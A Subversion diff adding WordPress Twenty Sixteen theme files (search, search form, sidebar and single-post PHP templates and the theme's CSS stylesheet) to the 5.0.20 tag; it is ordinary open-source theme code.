+	body:not(.search-results) .entry-summary blockquote > ul {
+		margin-right: 0.956521739em;
+		margin-left: auto;
+	}
+
+	body:not(.search-results) .entry-summary li > ol,
+	body:not(.search-results) .entry-summary blockquote > ol {
+		margin-right: 1.52173913em;
+		margin-left: auto;
+	}
+
+	body:not(.search-results) .entry-summary blockquote {
+		padding-right: 1.347826087em;
+		padding-left: 0;
+	}
+
+	body:not(.search-results) .entry-summary blockquote:not(.alignright):not(.alignleft) {
+		margin-right: -1.52173913em;
+		margin-left: auto;
+	}
+
+	body:not(.search-results) .entry-summary blockquote blockquote:not(.alignright):not(.alignleft) {
+		margin-right: 0;
+		margin-left: auto;
+	}
+
+	body:not(.search-results) .entry-summary .alignright {
+		margin: 0.2608695652em 0 1.5217391304em 1.5217391304em;
+	}
+
+	body:not(.search-results) .entry-summary .alignleft {
+		margin: 0.2608695652em 1.5217391304em 1.5217391304em 0;
+	}
+}
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/search.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/search.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/search.php	(revision 56912)
@@ -0,0 +1,53 @@
+<?php
+/**
+ * The template for displaying search results pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+get_header(); ?>
+
+	<section id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<header class="page-header">
+				<h1 class="page-title"><?php printf( __( 'Search Results for: %s', 'twentysixteen' ), '<span>' . esc_html( get_search_query() ) . '</span>' ); ?></h1>
+			</header><!-- .page-header -->
+
+			<?php
+			// Start the loop.
+			while ( have_posts() ) : the_post();
+
+				/**
+				 * Run the loop for the search to output the results.
+				 * If you want to overload this in a child theme then include a file
+				 * called content-search.php and that will be used instead.
+				 */
+				get_template_part( 'template-parts/content', 'search' );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentysixteen' ),
+				'next_text'          => __( 'Next page', 'twentysixteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentysixteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'template-parts/content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</section><!-- .content-area -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/searchform.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/searchform.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/searchform.php	(revision 56912)
@@ -0,0 +1,17 @@
+<?php
+/**
+ * Template for displaying search forms in Twenty Sixteen
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<form role="search" method="get" class="search-form" action="<?php echo esc_url( home_url( '/' ) ); ?>">
+	<label>
+		<span class="screen-reader-text"><?php echo _x( 'Search for:', 'label', 'twentysixteen' ); ?></span>
+		<input type="search" class="search-field" placeholder="<?php echo esc_attr_x( 'Search &hellip;', 'placeholder', 'twentysixteen' ); ?>" value="<?php echo get_search_query(); ?>" name="s" />
+	</label>
+	<button type="submit" class="search-submit"><span class="screen-reader-text"><?php echo _x( 'Search', 'submit button', 'twentysixteen' ); ?></span></button>
+</form>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/sidebar-content-bottom.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/sidebar-content-bottom.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/sidebar-content-bottom.php	(revision 56912)
@@ -0,0 +1,28 @@
+<?php
+/**
+ * The template for the content bottom widget areas on posts and pages
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+if ( ! is_active_sidebar( 'sidebar-2' ) && ! is_active_sidebar( 'sidebar-3' ) ) {
+	return;
+}
+
+// If we get this far, we have widgets. Let's do this.
+?>
+<aside id="content-bottom-widgets" class="content-bottom-widgets" role="complementary">
+	<?php if ( is_active_sidebar( 'sidebar-2' ) ) : ?>
+		<div class="widget-area">
+			<?php dynamic_sidebar( 'sidebar-2' ); ?>
+		</div><!-- .widget-area -->
+	<?php endif; ?>
+
+	<?php if ( is_active_sidebar( 'sidebar-3' ) ) : ?>
+		<div class="widget-area">
+			<?php dynamic_sidebar( 'sidebar-3' ); ?>
+		</div><!-- .widget-area -->
+	<?php endif; ?>
+</aside><!-- .content-bottom-widgets -->
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/sidebar.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/sidebar.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/sidebar.php	(revision 56912)
@@ -0,0 +1,15 @@
+<?php
+/**
+ * The template for the sidebar containing the main widget area
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+?>
+
+<?php if ( is_active_sidebar( 'sidebar-1' )  ) : ?>
+	<aside id="secondary" class="sidebar widget-area" role="complementary">
+		<?php dynamic_sidebar( 'sidebar-1' ); ?>
+	</aside><!-- .sidebar .widget-area -->
+<?php endif; ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/single.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/single.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/single.php	(revision 56912)
@@ -0,0 +1,54 @@
+<?php
+/**
+ * The template for displaying all single posts and attachments
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+get_header(); ?>
+
+<div id="primary" class="content-area">
+	<main id="main" class="site-main" role="main">
+		<?php
+		// Start the loop.
+		while ( have_posts() ) : the_post();
+
+			// Include the single post content template.
+			get_template_part( 'template-parts/content', 'single' );
+
+			// If comments are open or we have at least one comment, load up the comment template.
+			if ( comments_open() || get_comments_number() ) {
+				comments_template();
+			}
+
+			if ( is_singular( 'attachment' ) ) {
+				// Parent post navigation.
+				the_post_navigation( array(
+					'prev_text' => _x( '<span class="meta-nav">Published in</span><span class="post-title">%title</span>', 'Parent post link', 'twentysixteen' ),
+				) );
+			} elseif ( is_singular( 'post' ) ) {
+				// Previous/next post navigation.
+				the_post_navigation( array(
+					'next_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Next', 'twentysixteen' ) . '</span> ' .
+						'<span class="screen-reader-text">' . __( 'Next post:', 'twentysixteen' ) . '</span> ' .
+						'<span class="post-title">%title</span>',
+					'prev_text' => '<span class="meta-nav" aria-hidden="true">' . __( 'Previous', 'twentysixteen' ) . '</span> ' .
+						'<span class="screen-reader-text">' . __( 'Previous post:', 'twentysixteen' ) . '</span> ' .
+						'<span class="post-title">%title</span>',
+				) );
+			}
+
+			// End of the loop.
+		endwhile;
+		?>
+
+	</main><!-- .site-main -->
+
+	<?php get_sidebar( 'content-bottom' ); ?>
+
+</div><!-- .content-area -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/style.css
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/style.css	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/style.css	(revision 56912)
@@ -0,0 +1,4008 @@
+/*
+Theme Name: Twenty Sixteen
+Theme URI: https://wordpress.org/themes/twentysixteen/
+Author: the WordPress team
+Author URI: https://wordpress.org/
+Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead with an optional right sidebar that works perfectly for blogs and websites. It has custom color options with beautiful default color schemes, a harmonious fluid grid using a mobile-first approach, and impeccable polish in every detail. Twenty Sixteen will make your WordPress look beautiful everywhere.
+Version: 1.8
+License: GNU General Public License v2 or later
+License URI: http://www.gnu.org/licenses/gpl-2.0.html
+Tags: one-column, two-columns, right-sidebar, accessibility-ready, custom-background, custom-colors, custom-header, custom-menu, editor-style, featured-images, flexible-header, microformats, post-formats, rtl-language-support, sticky-post, threaded-comments, translation-ready, blog
+Text Domain: twentysixteen
+
+This theme, like WordPress, is licensed under the GPL.
+Use it to make something cool, have fun, and share what you've learned with others.
+*/
+
+
+/**
+ * Table of Contents
+ *
+ * 1.0 - Normalize
+ * 2.0 - Genericons
+ * 3.0 - Typography
+ * 4.0 - Elements
+ * 5.0 - Forms
+ * 6.0 - Navigation
+ *   6.1 - Links
+ *   6.2 - Menus
+ * 7.0 - Accessibility
+ * 8.0 - Alignments
+ * 9.0 - Clearings
+ * 10.0 - Widgets
+ * 11.0 - Content
+ *    11.1 - Header
+ *    11.2 - Posts and pages
+ *    11.3 - Post Formats
+ *    11.4 - Comments
+ *    11.5 - Sidebar
+ *    11.6 - Footer
+ * 12.0 - Media
+ *    12.1 - Captions
+ *    12.2 - Galleries
+ * 13.0 - Multisite
+ * 14.0 - Media Queries
+ *    14.1 - >= 710px
+ *    14.2 - >= 783px
+ *    14.3 - >= 910px
+ *    14.4 - >= 985px
+ *    14.5 - >= 1200px
+ * 15.0 - Print
+ */
+
+
+/**
+ * 1.0 - Normalize
+ *
+ * Normalizing styles have been helped along thanks to the fine work of
+ * Nicolas Gallagher and Jonathan Neal http://necolas.github.com/normalize.css/
+ */
+
+html {
+	font-family: sans-serif;
+	-webkit-text-size-adjust: 100%;
+	-ms-text-size-adjust: 100%;
+}
+
+body {
+	margin: 0;
+}
+
+article,
+aside,
+details,
+figcaption,
+figure,
+footer,
+header,
+main,
+menu,
+nav,
+section,
+summary {
+	display: block;
+}
+
+audio,
+canvas,
+progress,
+video {
+	display: inline-block;
+	vertical-align: baseline;
+}
+
+audio:not([controls]) {
+	display: none;
+	height: 0;
+}
+
+[hidden],
+template {
+	display: none;
+}
+
+a {
+	background-color: transparent;
+}
+
+abbr[title] {
+	border-bottom: 1px dotted;
+}
+
+b,
+strong {
+	font-weight: 700;
+}
+
+small {
+	font-size: 80%;
+}
+
+sub,
+sup {
+	font-size: 75%;
+	line-height: 0;
+	position: relative;
+	vertical-align: baseline;
+}
+
+sup {
+	top: -0.5em;
+}
+
+sub {
+	bottom: -0.25em;
+}
+
+img {
+	border: 0;
+}
+
+svg:not(:root) {
+	overflow: hidden;
+}
+
+figure {
+	margin: 0;
+}
+
+hr {
+	-webkit-box-sizing: content-box;
+	-moz-box-sizing: content-box;
+	box-sizing: content-box;
+}
+
+code,
+kbd,
+pre,
+samp {
+	font-size: 1em;
+}
+
+button,
+input,
+optgroup,
+select,
+textarea {
+	color: inherit;
+	font: inherit;
+	margin: 0;
+}
+
+select {
+	text-transform: none;
+}
+
+button {
+	overflow: visible;
+}
+
+button,
+input,
+select,
+textarea {
+	max-width: 100%;
+}
+
+button,
+html input[type="button"],
+input[type="reset"],
+input[type="submit"] {
+	-webkit-appearance: button;
+	cursor: pointer;
+}
+
+button[disabled],
+html input[disabled] {
+	cursor: default;
+	opacity: .5;
+}
+
+button::-moz-focus-inner,
+input::-moz-focus-inner {
+	border: 0;
+	padding: 0;
+}
+
+input[type="checkbox"],
+input[type="radio"] {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+	margin-right: 0.4375em;
+	padding: 0;
+}
+
+input[type="date"]::-webkit-inner-spin-button,
+input[type="date"]::-webkit-outer-spin-button,
+input[type="time"]::-webkit-inner-spin-button,
+input[type="time"]::-webkit-outer-spin-button,
+input[type="datetime-local"]::-webkit-inner-spin-button,
+input[type="datetime-local"]::-webkit-outer-spin-button,
+input[type="week"]::-webkit-inner-spin-button,
+input[type="week"]::-webkit-outer-spin-button,
+input[type="month"]::-webkit-inner-spin-button,
+input[type="month"]::-webkit-outer-spin-button,
+input[type="number"]::-webkit-inner-spin-button,
+input[type="number"]::-webkit-outer-spin-button {
+	height: auto;
+}
+
+input[type="search"] {
+	-webkit-appearance: textfield;
+}
+
+input[type="search"]::-webkit-search-cancel-button,
+input[type="search"]::-webkit-search-decoration {
+	-webkit-appearance: none;
+}
+
+fieldset {
+	border: 1px solid #d1d1d1;
+	margin: 0 0 1.75em;
+	min-width: inherit;
+	padding: 0.875em;
+}
+
+fieldset > :last-child {
+	margin-bottom: 0;
+}
+
+legend {
+	border: 0;
+	padding: 0;
+}
+
+textarea {
+	overflow: auto;
+	vertical-align: top;
+}
+
+optgroup {
+	font-weight: bold;
+}
+
+
+/**
+ * 2.0 - Genericons
+ */
+
+.menu-item-has-children a:after,
+.social-navigation a:before,
+.dropdown-toggle:after,
+.bypostauthor > article .fn:after,
+.comment-reply-title small a:before,
+.pagination .prev:before,
+.pagination .next:before,
+.pagination .nav-links:before,
+.pagination .nav-links:after,
+.search-submit:before {
+	-moz-osx-font-smoothing: grayscale;
+	-webkit-font-smoothing: antialiased;
+	display: inline-block;
+	font-family: "Genericons";
+	font-size: 16px;
+	font-style: normal;
+	font-variant: normal;
+	font-weight: normal;
+	line-height: 1;
+	speak: none;
+	text-align: center;
+	text-decoration: inherit;
+	text-transform: none;
+	vertical-align: top;
+}
+
+
+/**
+ * 3.0 - Typography
+ */
+
+body,
+button,
+input,
+select,
+textarea {
+	color: #1a1a1a;
+	font-family: Merriweather, Georgia, serif;
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.75;
+}
+
+h1,
+h2,
+h3,
+h4,
+h5,
+h6 {
+	clear: both;
+	font-weight: 700;
+	margin: 0;
+	text-rendering: optimizeLegibility;
+}
+
+p {
+	margin: 0 0 1.75em;
+}
+
+dfn,
+cite,
+em,
+i {
+	font-style: italic;
+}
+
+blockquote {
+	border: 0 solid #1a1a1a;
+	border-left-width: 4px;
+	color: #686868;
+	font-size: 19px;
+	font-size: 1.1875rem;
+	font-style: italic;
+	line-height: 1.4736842105;
+	margin: 0 0 1.4736842105em;
+	overflow: hidden;
+	padding: 0 0 0 1.263157895em;
+}
+
+blockquote,
+q {
+	quotes: none;
+}
+
+blockquote:before,
+blockquote:after,
+q:before,
+q:after {
+	content: "";
+}
+
+blockquote p {
+	margin-bottom: 1.4736842105em;
+}
+
+blockquote cite,
+blockquote small {
+	color: #1a1a1a;
+	display: block;
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.75;
+}
+
+blockquote cite:before,
+blockquote small:before {
+	content: "\2014\00a0";
+}
+
+blockquote em,
+blockquote i,
+blockquote cite {
+	font-style: normal;
+}
+
+blockquote strong,
+blockquote b {
+	font-weight: 400;
+}
+
+blockquote > :last-child {
+	margin-bottom: 0;
+}
+
+address {
+	font-style: italic;
+	margin: 0 0 1.75em;
+}
+
+code,
+kbd,
+tt,
+var,
+samp,
+pre {
+	font-family: Inconsolata, monospace;
+}
+
+pre {
+	border: 1px solid #d1d1d1;
+	font-size: 16px;
+	font-size: 1rem;
+	line-height: 1.3125;
+	margin: 0 0 1.75em;
+	max-width: 100%;
+	overflow: auto;
+	padding: 1.75em;
+	white-space: pre;
+	white-space: pre-wrap;
+	word-wrap: break-word;
+}
+
+code {
+	background-color: #d1d1d1;
+	padding: 0.125em 0.25em;
+}
+
+abbr,
+acronym {
+	border-bottom: 1px dotted #d1d1d1;
+	cursor: help;
+}
+
+mark,
+ins {
+	background: #007acc;
+	color: #fff;
+	padding: 0.125em 0.25em;
+	text-decoration: none;
+}
+
+big {
+	font-size: 125%;
+}
+
+
+/**
+ * 4.0 - Elements
+ */
+
+html {
+	-webkit-box-sizing: border-box;
+	-moz-box-sizing: border-box;
+	box-sizing: border-box;
+}
+
+*,
+*:before,
+*:after {
+	/* Inherit box-sizing to make it easier to change the property for components that leverage other behavior; see http://css-tricks.com/inheriting-box-sizing-probably-slightly-better-best-practice/ */
+	-webkit-box-sizing: inherit;
+	-moz-box-sizing: inherit;
+	box-sizing: inherit;
+}
+
+body {
+	background: #1a1a1a;
+	/* Fallback for when there is no custom background color defined. */
+}
+
+hr {
+	background-color: #d1d1d1;
+	border: 0;
+	height: 1px;
+	margin: 0 0 1.75em;
+}
+
+ul,
+ol {
+	margin: 0 0 1.75em 1.25em;
+	padding: 0;
+}
+
+ul {
+	list-style: disc;
+}
+
+ol {
+	list-style: decimal;
+	margin-left: 1.5em;
+}
+
+li > ul,
+li > ol {
+	margin-bottom: 0;
+}
+
+dl {
+	margin: 0 0 1.75em;
+}
+
+dt {
+	font-weight: 700;
+}
+
+dd {
+	margin: 0 0 1.75em;
+}
+
+img {
+	height: auto;
+	/* Make sure images are scaled correctly. */
+	max-width: 100%;
+	/* Adhere to container width. */
+	vertical-align: middle;
+}
+
+del {
+	opacity: 0.8;
+}
+
+table,
+th,
+td {
+	border: 1px solid #d1d1d1;
+}
+
+table {
+	border-collapse: separate;
+	border-spacing: 0;
+	border-width: 1px 0 0 1px;
+	margin: 0 0 1.75em;
+	table-layout: fixed;
+	/* Prevents HTML tables from becoming too wide */
+	width: 100%;
+}
+
+caption,
+th,
+td {
+	font-weight: normal;
+	text-align: left;
+}
+
+th {
+	border-width: 0 1px 1px 0;
+	font-weight: 700;
+}
+
+td {
+	border-width: 0 1px 1px 0;
+}
+
+th,
+td {
+	padding: 0.4375em;
+}
+
+/* Placeholder text color -- selectors need to be separate to work. */
+::-webkit-input-placeholder {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+}
+
+:-moz-placeholder {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+}
+
+::-moz-placeholder {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	opacity: 1;
+	/* Since FF19 lowers the opacity of the placeholder by default */
+}
+
+:-ms-input-placeholder {
+	color: #686868;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+}
+
+
+/**
+ * 5.0 - Forms
+ */
+
+input {
+	line-height: normal;
+}
+
+button,
+button[disabled]:hover,
+button[disabled]:focus,
+input[type="button"],
+input[type="button"][disabled]:hover,
+input[type="button"][disabled]:focus,
+input[type="reset"],
+input[type="reset"][disabled]:hover,
+input[type="reset"][disabled]:focus,
+input[type="submit"],
+input[type="submit"][disabled]:hover,
+input[type="submit"][disabled]:focus {
+	background: #1a1a1a;
+	border: 0;
+	border-radius: 2px;
+	color: #fff;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-weight: 700;
+	letter-spacing: 0.046875em;
+	line-height: 1;
+	padding: 0.84375em 0.875em 0.78125em;
+	text-transform: uppercase;
+}
+
+button:hover,
+button:focus,
+input[type="button"]:hover,
+input[type="button"]:focus,
+input[type="reset"]:hover,
+input[type="reset"]:focus,
+input[type="submit"]:hover,
+input[type="submit"]:focus {
+	background: #007acc;
+}
+
+button:focus,
+input[type="button"]:focus,
+input[type="reset"]:focus,
+input[type="submit"]:focus {
+	outline: thin dotted;
+	outline-offset: -4px;
+}
+
+input[type="date"],
+input[type="time"],
+input[type="datetime-local"],
+input[type="week"],
+input[type="month"],
+input[type="text"],
+input[type="email"],
+input[type="url"],
+input[type="password"],
+input[type="search"],
+input[type="tel"],
+input[type="number"],
+textarea {
+	background: #f7f7f7;
+	background-image: -webkit-linear-gradient(rgba(255, 255, 255, 0), rgba(255, 255, 255, 0));
+	border: 1px solid #d1d1d1;
+	border-radius: 2px;
+	color: #686868;
+	padding: 0.625em 0.4375em;
+	width: 100%;
+}
+
+input[type="date"]:focus,
+input[type="time"]:focus,
+input[type="datetime-local"]:focus,
+input[type="week"]:focus,
+input[type="month"]:focus,
+input[type="text"]:focus,
+input[type="email"]:focus,
+input[type="url"]:focus,
+input[type="password"]:focus,
+input[type="search"]:focus,
+input[type="tel"]:focus,
+input[type="number"]:focus,
+textarea:focus {
+	background-color: #fff;
+	border-color: #007acc;
+	color: #1a1a1a;
+	outline: 0;
+}
+
+.post-password-form {
+	margin-bottom: 1.75em;
+}
+
+.post-password-form label {
+	color: #686868;
+	display: block;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	letter-spacing: 0.076923077em;
+	line-height: 1.6153846154;
+	margin-bottom: 1.75em;
+	text-transform: uppercase;
+}
+
+.post-password-form input[type="password"] {
+	margin-top: 0.4375em;
+}
+
+.post-password-form > :last-child {
+	margin-bottom: 0;
+}
+
+.search-form {
+	position: relative;
+}
+
+input[type="search"].search-field {
+	border-radius: 2px 0 0 2px;
+	width: -webkit-calc(100% - 42px);
+	width: calc(100% - 42px);
+}
+
+.search-submit:before {
+	content: "\f400";
+	font-size: 24px;
+	left: 2px;
+	line-height: 42px;
+	position: relative;
+	width: 40px;
+}
+
+.search-submit {
+	border-radius: 0 2px 2px 0;
+	bottom: 0;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	right: 0;
+	top: 0;
+	width: 42px;
+}
+
+
+/**
+ * 6.0 - Navigation
+ */
+
+/**
+ * 6.1 - Links
+ */
+
+a {
+	color: #007acc;
+	text-decoration: none;
+}
+
+a:hover,
+a:focus,
+a:active {
+	color: #686868;
+}
+
+a:focus {
+	outline: thin dotted;
+}
+
+a:hover,
+a:active {
+	outline: 0;
+}
+
+.entry-content a,
+.entry-summary a,
+.taxonomy-description a,
+.logged-in-as a,
+.comment-content a,
+.pingback .comment-body > a,
+.textwidget a,
+.entry-footer a:hover,
+.site-info a:hover {
+	box-shadow: 0 1px 0 0 currentColor;
+}
+
+.entry-content a:hover,
+.entry-content a:focus,
+.entry-summary a:hover,
+.entry-summary a:focus,
+.taxonomy-description a:hover,
+.taxonomy-description a:focus,
+.logged-in-as a:hover,
+.logged-in-as a:focus,
+.comment-content a:hover,
+.comment-content a:focus,
+.pingback .comment-body > a:hover,
+.pingback .comment-body > a:focus,
+.textwidget a:hover,
+.textwidget a:focus {
+	box-shadow: none;
+}
+
+
+/**
+ * 6.2 - Menus
+ */
+
+.site-header-menu {
+	display: none;
+	-webkit-flex: 0 1 100%;
+	-ms-flex: 0 1 100%;
+	flex: 0 1 100%;
+	margin: 0.875em 0;
+}
+
+.site-header-menu.toggled-on,
+.no-js .site-header-menu {
+	display: block;
+}
+
+.main-navigation {
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+}
+
+.site-footer .main-navigation {
+	margin-bottom: 1.75em;
+}
+
+.main-navigation ul {
+	list-style: none;
+	margin: 0;
+}
+
+.main-navigation li {
+	border-top: 1px solid #d1d1d1;
+	position: relative;
+}
+
+.main-navigation a {
+	color: #1a1a1a;
+	display: block;
+	line-height: 1.3125;
+	outline-offset: -1px;
+	padding: 0.84375em 0;
+}
+
+.main-navigation a:hover,
+.main-navigation a:focus {
+	color: #007acc;
+}
+
+.main-navigation .current-menu-item > a,
+.main-navigation .current-menu-ancestor > a {
+	font-weight: 700;
+}
+
+.main-navigation ul ul {
+	display: none;
+	margin-left: 0.875em;
+}
+
+.no-js .main-navigation ul ul {
+	display: block;
+}
+
+.main-navigation ul .toggled-on {
+	display: block;
+}
+
+.main-navigation .primary-menu {
+	border-bottom: 1px solid #d1d1d1;
+}
+
+.main-navigation .menu-item-has-children > a {
+	margin-right: 56px;
+}
+
+.dropdown-toggle {
+	background-color: transparent;
+	border: 0;
+	border-radius: 0;
+	color: #1a1a1a;
+	content: "";
+	height: 48px;
+	padding: 0;
+	position: absolute;
+	right: 0;
+	text-transform: none;
+	top: 0;
+	width: 48px;
+}
+
+.dropdown-toggle:after {
+	border: 0 solid #d1d1d1;
+	border-left-width: 1px;
+	content: "\f431";
+	font-size: 24px;
+	left: 1px;
+	position: relative;
+	width: 48px;
+}
+
+.dropdown-toggle:hover,
+.dropdown-toggle:focus {
+	background-color: transparent;
+	color: #007acc;
+}
+
+.dropdown-toggle:focus {
+	outline: thin dotted;
+	outline-offset: -1px;
+}
+
+.dropdown-toggle:focus:after {
+	border-color: transparent;
+}
+
+.dropdown-toggle.toggled-on:after {
+	content: "\f432";
+}
+
+.site-header .main-navigation + .social-navigation {
+	margin-top: 1.75em;
+}
+
+.site-footer .social-navigation {
+	margin-bottom: 1.75em;
+}
+
+.social-navigation ul {
+	list-style: none;
+	margin: 0 0 -0.4375em;
+}
+
+.social-navigation li {
+	float: left;
+	margin: 0 0.4375em 0.4375em 0;
+}
+
+.social-navigation a {
+	border: 1px solid #d1d1d1;
+	border-radius: 50%;
+	color: #1a1a1a;
+	display: block;
+	height: 35px;
+	position: relative;
+	width: 35px;
+}
+
+.social-navigation a:before {
+	content: "\f415";
+	height: 33px;
+	line-height: 33px;
+	text-align: center;
+	width: 33px;
+}
+
+.social-navigation a:hover:before,
+.social-navigation a:focus:before {
+	color: #007acc;
+}
+
+.social-navigation a[href*="codepen.io"]:before {
+	content: "\f216";
+}
+
+.social-navigation a[href*="digg.com"]:before {
+	content: "\f221";
+}
+
+.social-navigation a[href*="dribbble.com"]:before {
+	content: "\f201";
+}
+
+.social-navigation a[href*="dropbox.com"]:before {
+	content: "\f225";
+}
+
+.social-navigation a[href*="facebook.com"]:before {
+	content: "\f203";
+}
+
+.social-navigation a[href*="flickr.com"]:before {
+	content: "\f211";
+}
+
+.social-navigation a[href*="foursquare.com"]:before {
+	content: "\f226";
+}
+
+.social-navigation a[href*="plus.google.com"]:before {
+	content: "\f206";
+}
+
+.social-navigation a[href*="github.com"]:before {
+	content: "\f200";
+}
+
+.social-navigation a[href*="instagram.com"]:before {
+	content: "\f215";
+}
+
+.social-navigation a[href*="linkedin.com"]:before {
+	content: "\f208";
+}
+
+.social-navigation a[href*="path.com"]:before {
+	content: "\f219";
+}
+
+.social-navigation a[href*="pinterest.com"]:before {
+	content: "\f210";
+}
+
+.social-navigation a[href*="getpocket.com"]:before {
+	content: "\f224";
+}
+
+.social-navigation a[href*="polldaddy.com"]:before {
+	content: "\f217";
+}
+
+.social-navigation a[href*="reddit.com"]:before {
+	content: "\f222";
+}
+
+.social-navigation a[href*="skype.com"]:before {
+	content: "\f220";
+}
+
+.social-navigation a[href*="stumbleupon.com"]:before {
+	content: "\f223";
+}
+
+.social-navigation a[href*="tumblr.com"]:before {
+	content: "\f214";
+}
+
+.social-navigation a[href*="twitter.com"]:before {
+	content: "\f202";
+}
+
+.social-navigation a[href*="vimeo.com"]:before {
+	content: "\f212";
+}
+
+.social-navigation a[href*="wordpress.com"]:before,
+.social-navigation a[href*="wordpress.org"]:before {
+	content: "\f205";
+}
+
+.social-navigation a[href*="youtube.com"]:before {
+	content: "\f213";
+}
+
+.social-navigation a[href^="mailto:"]:before {
+	content: "\f410";
+}
+
+.social-navigation a[href*="spotify.com"]:before {
+	content: "\f515";
+}
+
+.social-navigation a[href*="twitch.tv"]:before {
+	content: "\f516";
+}
+
+.social-navigation a[href$="/feed/"]:before {
+	content: "\f413";
+}
+
+.post-navigation {
+	border-top: 4px solid #1a1a1a;
+	border-bottom: 4px solid #1a1a1a;
+	clear: both;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	margin: 0 7.6923% 3.5em;
+}
+
+.post-navigation a {
+	color: #1a1a1a;
+	display: block;
+	padding: 1.75em 0;
+}
+
+.post-navigation span {
+	display: block;
+}
+
+.post-navigation .meta-nav {
+	color: #686868;
+	font-size: 13px;
+	font-size: 0.8125rem;
+	letter-spacing: 0.076923077em;
+	line-height: 1.6153846154;
+	margin-bottom: 0.5384615385em;
+	text-transform: uppercase;
+}
+
+.post-navigation .post-title {
+	display: inline;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 23px;
+	font-size: 1.4375rem;
+	font-weight: 700;
+	line-height: 1.2173913043;
+	text-rendering: optimizeLegibility;
+}
+
+.post-navigation a:hover .post-title,
+.post-navigation a:focus .post-title {
+	color: #007acc;
+}
+
+.post-navigation div + div {
+	border-top: 4px solid #1a1a1a;
+}
+
+.pagination {
+	border-top: 4px solid #1a1a1a;
+	font-family: Montserrat, "Helvetica Neue", sans-serif;
+	font-size: 19px;
+	font-size: 1.1875rem;
+	margin: 0 7.6923% 2.947368421em;
+	min-height: 56px;
+	position: relative;
+}
+
+.pagination:before,
+.pagination:after {
+	background-color: #1a1a1a;
+	content: "";
+	height: 52px;
+	position: absolute;
+	top:0;
+	width: 52px;
+	z-index: 0;
+}
+
+.pagination:before {
+	right: 0;
+}
+
+.pagination:after {
+	right: 54px;
+}
+
+.pagination a:hover,
+.pagination a:focus {
+	color: #1a1a1a;
+}
+
+.pagination .nav-links {
+	padding-right: 106px;
+	position: relative;
+}
+
+.pagination .nav-links:before,
+.pagination .nav-links:after {
+	color: #fff;
+	font-size: 32px;
+	line-height: 51px;
+	opacity: 0.3;
+	position: absolute;
+	width: 52px;
+	z-index: 1;
+}
+
+.pagination .nav-links:before {
+	content: "\f429";
+	right: -1px;
+}
+
+.pagination .nav-links:after {
+	content: "\f430";
+	right: 55px;
+}
+
+/* reset screen-reader-text */
+.pagination .current .screen-reader-text {
+	position: static !important;
+}
+
+.pagination .page-numbers {
+	display: none;
+	letter-spacing: 0.013157895em;
+	line-height: 1;
+	margin: 0 0.7368421053em 0 -0.7368421053em;
+	padding: 0.8157894737em 0.7368421053em 0.3947368421em;
+	text-transform: uppercase;
+}
+
+.pagination .current {
+	display: inline-block;
+	font-weight: 700;
+}
+
+.pagination .prev,
+.pagination .next {
+	background-color: #1a1a1a;
+	color: #fff;
+	display: inline-block;
+	height: 52px;
+	margin: 0;
+	overflow: hidden;
+	padding: 0;
+	position: absolute;
+	top: 0;
+	width: 52px;
+	z-index: 2;
+}
+
+.pagination .prev:before,
+.pagination .next:before {
+	font-size: 32px;
+	height: 53px;
+	line-height: 52px;
+	position: relative;
+	width: 53px;
+}
+
